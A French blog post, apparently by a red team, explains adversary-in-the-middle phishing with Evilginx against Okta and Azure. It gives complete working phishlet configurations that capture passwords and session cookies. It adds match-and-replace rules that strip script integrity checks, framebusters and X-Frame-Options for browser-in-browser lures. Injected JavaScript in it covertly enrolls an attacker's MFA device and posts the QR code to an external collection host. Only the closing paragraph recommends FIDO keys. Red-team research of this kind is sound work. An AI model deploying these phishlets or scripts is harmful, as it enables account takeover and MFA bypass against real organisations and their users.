Les attaques par phishing sont aussi vieilles que l’internet. Cependant, au fil des ans, les techniques et les moyens utilisés pour le phishing changent, mais l’objectif final reste le même : obtenir un premier accès au réseau interne.
Habituellement, les threat actors tentent d’envoyer des documents malveillants tels que des applications HTA ou des documents Office malveillants mais, avec le développement de solutions de sécurité SMTP telles que ProofPoint, le durcissement par défaut d’Office lié aux macros et la sensibilisation accrue au phishing, ces types de techniques sont de moins en moins utilisés.
Aujourd’hui, les attaques de phishing ne visent plus à obtenir un accès direct au réseau interne de l’entreprise, mais plutôt à récupérer l’identité numérique de l’utilisateur : son identité Office365, Google Workspace ou Okta. Cette identité est ensuite réutilisée via des applications SSO jusqu’à ce qu’une porte d’entrée soit identifiée, par le biais d’applications exposées comme Citrix ou un accès VPN.
Pour limiter ce type d’attaques, les entreprises ont commencé à imposer l’utilisation de l’authentification multifacteur (MFA), afin de garantir que, même si un acteur malveillant parvient à récupérer un jeu d’identifiants valides par phishing ou collecte, il ne puisse ni compléter le processus d’authentification ni réutiliser ces identifiants sur une autre application.
Phishing 101
IDP, cookies et phishing
La protection MFA mise en place par les entreprises est un bon moyen de limiter l’impact d’un phishing réussi. En effet, même si l’acteur de la menace récupère les informations d’identification de l’utilisateur, il ne sera pas en mesure d’usurper l’identité de l’utilisateur puisqu’il ne pourra pas valider le MFA.
Cependant, aujourd’hui, le MFA n’est généralement demandé que lors de la première authentification : une fois que l’utilisateur est authentifié auprès du fournisseur d’identité, celui-ci lui fournit une preuve d’authentification qu’il peut transmettre à n’importe quel service. Grâce à cette preuve d’authentification, l’utilisateur n’a pas besoin d’une authentification active supplémentaire et n’a donc pas besoin de revalider le MFA tant que ce ticket est valide.
Dans les IDP web les plus courants comme Azure, Google ou Okta, ce ticket est représenté par les cookies. Lorsque l’utilisateur se connecte à l’IDP pour la première fois, le service renvoie un cookie valable pendant 1 heure, 1 jour ou 2 ans. Avec ces cookies, l’utilisateur peut se connecter à n’importe quel autre service web compatible SSO sans authentification.
En résumé, les cookies IDP de l’utilisateur représentent l’identité numérique de l’utilisateur. Par conséquent, dans une attaque de phishing dont l’objectif principal est d’usurper cette identité numérique de l’utilisateur, l’attaquant tentera de voler les cookies une fois que l’utilisateur aura réussi son authentification.
Evilginx
Evil proxy
Pour voler les cookies, l’attaquant doit être placé dans une position man-in-the-middle au cours du processus d’authentification. Cependant, avec la sécurité TLS imposée dans la majorité des IDP, l’utilisateur aura conscience qu’il se passe quelque chose d’anormal.
C’est là qu’Evilginx entre en jeu. Au lieu d’effectuer une simple attaque de type « man-in-the-middle » en relayant le paquet vers l’IDP, Evilginx crée un proxy malveillant : l’utilisateur ne s’authentifie pas sur accounts.google.com, mais il s’authentifie sur login.evilginx.com :
Je ne prendrai pas plus de temps pour développer le principe de proxy malveillant, car ce sujet est déjà bien documenté sur Internet.
Phislets 101
Par exemple, lors de l’authentification à Azure, les domaines suivants sont utilisés :
- login.microsoftonline.com
- www.microsoftonline.com
- aadcdn.microsoftonline.com
Le problème est que pendant le processus d’authentification, l’IDP redirige l’utilisateur vers des pages spécifiques avec le domaine codé en dur dans la réponse. Par exemple, lors d’un processus d’authentification SAML classique, l’IDP forcera le client à effectuer une requête POST vers un domaine spécifique codé en dur. Par conséquent, même si l’utilisateur a commencé son processus d’authentification sur login.evilginx.com, il sera redirigé vers login.microsoftonline.com au cours du processus d’authentification, ce qui rompt la position de l’homme du milieu.
Evilginx utilise des fichiers de configuration spécifiques connus sous le nom de phishlets pour gérer de tels cas. La configuration du phishlet permet à Evilginx de savoir quel domaine doit être réécrit dans la réponse du serveur. Ainsi, si l’IDP renvoie une réponse telle que :
<form id=”SAML” action=”https://login.microsoftonline.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>
Avec le phishlet, Evilginx saura que le domaine login.microsoftonline.com doit être réécrit et renverra à la cible la page modifiée suivante :
<form id=”SAML” action=”https://login.evilginx.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>
Avec un tel modèle de correspondance et de remplacement, Evilginx est capable de maintenir l’utilisateur dans l’application malveillante même si l’IDP tente de rediriger l’utilisateur vers une page spécifique.
Limites du remplacement automatique
Le remplacement automatique des phishlets Evilginx a ses limites. En effet, il arrive que le serveur n’indique pas directement le domaine en dur dans la page, mais qu’il le construise par le biais d’un script JS.
Dans ce cas, Evilginx n’est pas en mesure de détecter automatiquement le motif du domaine. En tant que concepteurs de phishlets, nous devons alors comprendre comment le script fonctionne et remplacer manuellement la partie construisant le domaine de redirection par une correspondance/un remplacement.
CORS
Dans Okta, le flux d’authentification est basé sur plusieurs scripts JS récupérés sur le domaine oktadcn. Le script construit dynamiquement l’URL de redirection : il prend le nom du locataire Okta et ajoute « okta.com ». Par conséquent, lorsque Okta tente d’atteindre la page spécifique en utilisant le domaine okta.com, il échoue en raison de la protection CORS (tentative d’atteindre okta.com/idp/idx/introspect à partir de evilginx.com) :
En déboguant l’application, il est possible de trouver l’endroit où la construction de l’URL est effectuée et de la modifier en remplaçant le motif correspondant :
Replace: array");var t=
By: array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=
Avec cette simple indication, Evilginx remplacera tout motif correspondant, évitant ainsi la redirection de l’utilisateur en dehors de l’application de phishing.
Intégrité du JS
Lorsque l’on modifie le fichier JS ou tout autre fichier via Evilginx, cela peut causer des problèmes en raison du hash d’intégrité du script :
<script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/>
En effet, si Evilginx modifie le script okta-signing-widget, son hash ne correspondra pas à celui défini dans le fichier html et l’application refusera de le charger.
Avec Evilginx, nous pouvons également modifier la page html pour supprimer le contrôle d’intégrité :
Replace: integrity="[^"]*"
By: integrity=''
Validation de l’URI de redirection
Le dernier point est la validation de l’URI de redirection. En effet, lors de l’authentification OIDC, le client sera redirigé vers une page dont l’URL est du type :
/oauth2/v1/authorize?client_id=XXXXXX&redirect_uri=https://trial-9209000.okta.com[...]
Avec le remplacement automatique de domaine configuré sur Evilginx, le paramètre URI de redirection trial-9209000.okta.com sera automatiquement changé en trial-9209000.evilginx.com.
Cela déclenchera le processus de validation de l’uri de redirection. Le domaine evilginx.com n’ayant pas été configuré du côté d’Okta comme un domaine de redirection valide, Okta affichera l’erreur suivante :
L’URI de redirection est construit dynamiquement par Okta en prenant le domaine de connexion et en ajoutant les paramètres de rappel. Il est donc possible de contourner cette erreur en modifiant le script JS qui construit l’URL et en s’assurant que l’URI de rappel est celui attendu par Okta :
En utilisant Evilginx, il est possible d’utiliser un motif qui sera remplacé pour réinitialiser le redirect_uri à la bonne URI :
Replace: ,l.src=e.getIssuerOrigin()
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")
Replace: var s=(n.g.fetch||h())(t
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")
Phishlets basiques
Okta
min_ver: '3.0.0'
name: 'okta-wavestone'
params:
- name: okta_orga
default: ''
required: true
- name: redirect_server
default: https://google.com
proxy_hosts:
- phish_sub: '{okta_orga}'
orig_sub: '{okta_orga}'
domain: okta.com
session: true
is_landing: true
auto_filter: true
- phish_sub: ok14static
orig_sub: ok14static
domain: oktacdn.com
session: false
is_landing: false
auto_filter: true
- phish_sub: login
orig_sub: login
domain: okta.com
session: false
is_landing: false
auto_filter: true
sub_filters:
- triggers_on: 'ok14static.oktacdn.com'
orig_sub: ''
domain: 'okta.com'
search: 'array"\);var t='
replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='
mimes: ['application/javascript']
- triggers_on: '{okta_orga}.okta.com'
orig_sub: ''
domain: 'okta.com'
search: integrity="[^"]*"
replace: integrity=''
mimes: ['text/html', 'charset=utf-8']
- triggers_on: '{okta_orga}.okta.com'
orig_sub: ''
domain: 'okta.com'
search: 'mainScript\.integrity'
replace: 'mainScript.inteegrity'
mimes: ['text/html', 'charset=utf-8']
- triggers_on: 'ok14static.oktacdn.com'
orig_sub: ''
domain: 'okta.com'
search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'
replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'
mimes: ['application/javascript']
- triggers_on: 'ok14static.oktacdn.com'
orig_sub: ''
domain: 'okta.com'
search: ',l\.src=e\.getIssuerOrigin\(\)'
replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
mimes: ['application/javascript']
- triggers_on: 'ok9static.oktacdn.com'
orig_sub: ''
domain: 'okta.com'
search: ',l\.src=e\.getIssuerOrigin\(\)'
replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
mimes: ['application/javascript']
auth_tokens:
- domain: '{okta_orga}.okta.com'
keys: ['idx:always']
credentials:
username:
key: ''
search: '"identifier":"([^"]*)"'
type: 'json'
password:
key: 'passwd'
search: '(.*)'
type: 'post'
login:
domain: '{okta_orga}.okta.com'
path: '/'
force_post:
- path: '/kmsi'
search:
- {key: 'LoginOptions', search: '.*'}
force:
- {key: 'LoginOptions', value: '1'}
type: 'post'
Azure
name: 'o365-wavestone'
min_ver: '3.0.0'
proxy_hosts:
- phish_sub: 'login'
orig_sub: 'login'
domain: 'microsoftonline.com'
session: true
is_landing: true
- phish_sub: 'www'
orig_sub: 'www'
domain: 'office.com'
session: true
is_landing:false
- phish_sub: 'aadcdn'
orig_sub: 'aadcdn'
domain: 'msftauth.net'
session: false
auto_filter: true
is_landing:false
auth_tokens:
- domain: '.login.microsoftonline.com'
keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
- domain: 'login.microsoftonline.com'
keys: ['SignInStateCookie']
credentials:
username:
key: 'login'
search: '(.*)'
type: 'post'
password:
key: 'passwd'
search: '(.*)'
type: 'post'
auth_urls:
- '/common/SAS/ProcessAuth'
- '/kmsi'
login:
domain: 'login.microsoftonline.com'
path: '/'
force_post:
- path: '/kmsi'
search:
- {key: 'LoginOptions', search: '.*'}
force:
- {key: 'LoginOptions', value: '1'}
type: 'post'
- path: '/common/SAS'
search:
- {key: 'rememberMFA', search: '.*'}
force:
- {key: 'rememberMFA', value: 'true'}
type: 'post'
Automatiser les actions critiques
Ajouter un nouvel appareil au MFA
Une fois qu’un attaquant est en mesure de récupérer un accès initial à la session de l’utilisateur, il doit mettre en place une persistance de l’accès car les cookies ont une durée de validité limitée.
Cela se fait généralement en ajoutant un nouvel appareil au MFA associé au compte de l’utilisateur.
Par exemple, sur Azure, l’ajout d’un dispositif MFA ne nécessite pas de réauthentification ou de validation MFA. Ainsi, tant que l’attaquant a accès à la session utilisateur, il peut directement enregistrer son dispositif MFA malveillant.
En revanche, sur certaines plateformes d’identification comme Okta, l’enregistrement d’un MFA exige une validation MFA préalable. Même si un attaquant parvient à compromettre la session Okta de l’utilisateur, il ne pourra pas ajouter un dispositif MFA directement.
Il pourrait être intéressant d’ajouter cette étape de réauthentification dans le scénario d’attaque par phishing :
- L’utilisateur s’authentifie une première fois pour accéder à sa session
- Evilginx vole les cookies de session
- Evilginx effectue des appels API automatiques pour déclencher l’enregistrement de l’appareil MFA en arrière-plan
- L’utilisateur revalide son MFA, pensant que la première tentative a échoué
- Evilginx intercepte le QR Code MFA, permettant à l’attaquant de finaliser l’enregistrement de son propre appareil
Toutes ces actions peuvent être automatisées via Evilginx en modifiant les scripts JS.
Dans un premier temps, Evilginx interceptera la redirection effectuée à la fin de la première authentification, et redirigera l’utilisateur vers une fausse page contrôlée par l’attaquant.
- trigger_domains: ['{okta_orga}.okta.com']
trigger_paths: ['/app/UserHome']
script: |
if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}
Ce script sera injecté uniquement dans la page /app/UserHome et ne sera déclenché que lorsque cette page est accédée depuis /enduser/callback. Cela garantit que l’utilisateur est redirigé vers une page de leurre uniquement une fois que le premier processus d’authentification est terminé. Dans ce cas précis, la page de leurre est la page /help/login d’Okta. Cette redirection vers une page de leurre est indispensable, sinon l’utilisateur reste bloqué dans une boucle de redirection infinie à la fin de son authentification.
Ensuite, un nouveau code JS est ajouté à la page /help/login. Ce script permet d’énumérer les technologies MFA disponibles et configurées :
- trigger_domains: ['{okta_orga}.okta.com']
trigger_paths: ['/help/login']
script: |
function u4tyd783z(){
fetch('/api/v1/authenticators')
.then((data) => {
data.json().then((jData)=>{
let id = undefined
for(let elt of jData){
if(elt.key == 'okta_verify'){
id = elt.id
}
}
if(id == undefined){
return
}
console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)
document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id
})
})
}
u4tyd783z();
Le script sélectionne la méthode d’authentification “Okta Verify” et redirige l’utilisateur vers la page de configuration.
Sur cette page de configuration, un nouveau script JS est injecté. Ce script automatise les étapes d’enregistrement afin de ne laisser visible que le formulaire de validation MFA :
- trigger_domains: ['{okta_orga}.okta.com']
trigger_paths: ['/idp/authenticators/setup/.*']
script: |
function u720dhfn2(){
if(document.querySelectorAll('.button.select-factor.link-button').length > 0){
document.querySelectorAll('.button.select-factor.link-button')[0].click()
document.querySelectorAll('body')[0].style.display = 'none'
a = true
}
if(document.querySelectorAll('a.orOnMobileLink').length > 0){
document.querySelectorAll('a.orOnMobileLink')[0].click()
b = true
}
if(document.querySelectorAll('img.qrcode').length > 0){
fetch("{qrcode_sink}", {
method: 'POST',
body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})
}).then(()=>{
document.location='{redirect_server}'
}).catch(()=>{
document.location='{redirect_server}'
})
clearInterval(myInterval)
}
}
var a = false
var b = false
var myInterval = setInterval(function(){u720dhfn2()}, 10)
Une fois que l’utilisateur a validé l’authentification MFA, le script repère le QR Code affiché et l’exfiltre via une requête HTTP.
L’attaquant peut alors récupérer ce QR Code et enregistrer son propre appareil.
Aller plus loin
Okta avec l’authentification Azure
Certaines entreprises associent deux fournisseurs d’identité (IdP) : Okta redirige vers Azure et crée automatiquement le compte utilisateur lors de la première connexion.
Cette configuration est particulièrement intéressante pour un attaquant, car elle lui permet d’exfiltrer les sessions Azure et Okta à l’aide d’un seul phishing.
Pour ce faire, les deux phislets précédents doivent être fusionnés afin de capturer les deux processus d’authentification. L’essentiel est de s’assurer qu’Okta redirige vers le domaine Azure Evilginx, et non vers login.microsoftonline.com.
Heureusement, cette redirection est effectuée via un formulaire HTML en clair qui est soumis automatiquement dans la réponse d’Okta :
<form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST">[...]</form>
Comme le domaine Azure est codé en dur dans le HTML, Evilginx peut le remplacer
De même, une fois l’authentification terminée chez Microsoft, la redirection vers Okta peut être interceptée, et Evilginx peut substituer le domaine Okta réel par son équivalent malveillant, permettant ainsi la récupération du cookie de session Azure.
En résumé, dans cette configuration spécifique, il est possible de simplement fusionner les deux phislets précédents.
Frame buster
De plus en plus d’utilisateurs vérifient l’URL d’authentification avant de saisir leurs identifiants. Pour contourner cette vérification, il est possible d’utiliser la technique dite du “Browser-in-Browser”.
L’idée est d’intégrer l’application de phishing dans une iframe et de construire une fausse interface ressemblant à une fenêtre Chrome autour de cette iframe, afin de faire passer cette dernière pour une pop-up légitime.
Étant donné que l’apparence de la fenêtre est entièrement recréée, il devient possible d’y afficher une fausse adresse. Dans la figure ci-dessous, un formulaire Google est intégré via une iframe mais donne l’impression d’une véritable pop-up:
Le principal problème ici est que la plupart des formulaires d’authentification des fournisseurs d’identité (IdP) mettent en œuvre plusieurs techniques pour empêcher leur intégration dans une iframe. Ces techniques sont appelées framebusters.
Bien qu’Okta ne semble pas appliquer de telles protections, le formulaire d’authentification d’Azure contient de nombreuses fonctionnalités qui cesseraient de fonctionner s’il était intégré dans une iframe.
Self == top
La technique de framebuster la plus simple consiste à vérifier si la frame actuelle est la frame principale (top frame), ce que Microsoft implémente. Si le formulaire d’authentification détecte qu’il n’est pas affiché dans la frame principale, il refuse de s’afficher.
Avec Evilginx, il est possible de désactiver cette vérification à l’aide d’un simple modèle de correspondance et de remplacement (match & replace) :
Replace: if(e.self===e.top){
By: if(true){window.oldself=e.self;e.self=e.top;
Cette modification permet de faire passer l’iframe pour la frame principale (top frame), contournant ainsi la protection.
Target=”_top”
La technique suivante consiste à forcer la soumission du formulaire à rediriger la top frame. Ainsi, si le formulaire est soumis dans une iframe, la redirection s’appliquera non seulement à cette iframe, mais à toute la page, ce qui casse l’effet “Browser-in-Browser”.
Cela peut être réalisé en ajoutant l’attribut target= »_top » au formulaire. Il est ensuite possible de désactiver cette protection avec Evilginx :
Replace: method="post" target="_top"
By: method="post"
Framework specific
Microsoft utilise un framework spécifique pour ses applications. Ce framework n’implémente pas à proprement parler de techniques de framebusting, mais son fonctionnement interne rend son intégration dans une iframe particulièrement complexe.
Une des limitations principales apparaît au moment où le framework tente d’envoyer des données à une URL construite à partir du domaine de la top frame. Ainsi, au lieu d’envoyer les données à login.evilginx.com, elles sont envoyées à my-phishing-app.com, ce qui interrompt complètement le processus d’authentification.
Pour modifier cette adresse, il n’est pas possible de simplement remplacer le domaine par celui du site de phishing comme cela a été fait précédemment. Il est nécessaire de comprendre le fonctionnement du framework afin de modifier manuellement cette valeur au niveau de l’élément racine :
Replace: autoSubmit: forceSubmit, attr: { action: postUrl }
By: autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}
HTTP header
La dernière technique de framebusting repose sur l’en-tête HTTP X-Frame-Options: DENY, qui indique au navigateur que l’application ne peut pas être affichée dans une iframe.
Il est possible de supprimer cet en-tête à l’aide d’Evilginx :
Replace: X-Frame-Options: DENY
By: Test: Test
Final phishlet
The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:
- Retrieve the Azure credentials
- Retrieve the Azure cookies
- Retrieve the Okta cookies
- Retrieve the MFA enrollment QRCode for Okta
La vidéo suivante présente un exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure. Lors d’un seul et unique phishing, l’attaquant est capable de :
- Récupérer les identifiants Azure
- Récupérer les cookies de session Azure
- Récupérer les cookies Okta
- Récupérer le QR Code d’enrôlement MFA pour Okta
Exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure
L’évolution des techniques de phishing, illustrée par des outils tels qu’Evilginx, révèle une transformation significative des menaces informatiques : il ne s’agit plus uniquement d’exfiltrer des identifiants, mais de détourner des sessions authentifiées dans leur intégralité. En adoptant une posture d’« homme du milieu » (Adversary-in-the-Middle, AiTM), Evilginx est en mesure d’intercepter et de manipuler les échanges entre l’utilisateur et les services légitimes, contournant ainsi les mécanismes traditionnels d’authentification multifacteur (MFA).
Cette capacité ne constitue toutefois qu’un aperçu des possibilités offertes par l’outil. Evilginx peut être ajusté pour automatiser des actions critiques telles que l’enregistrement d’un dispositif MFA, contourner des protections comme les framebusters et garantir un accès persistant à la session utilisateur.
La seule mesure réellement efficace pour réduire les attaques par phishing consiste à déployer des mécanismes d’authentification multifacteur résistants au phishing, tels que les clés FIDO, au minimum pour les comptes administrateurs.
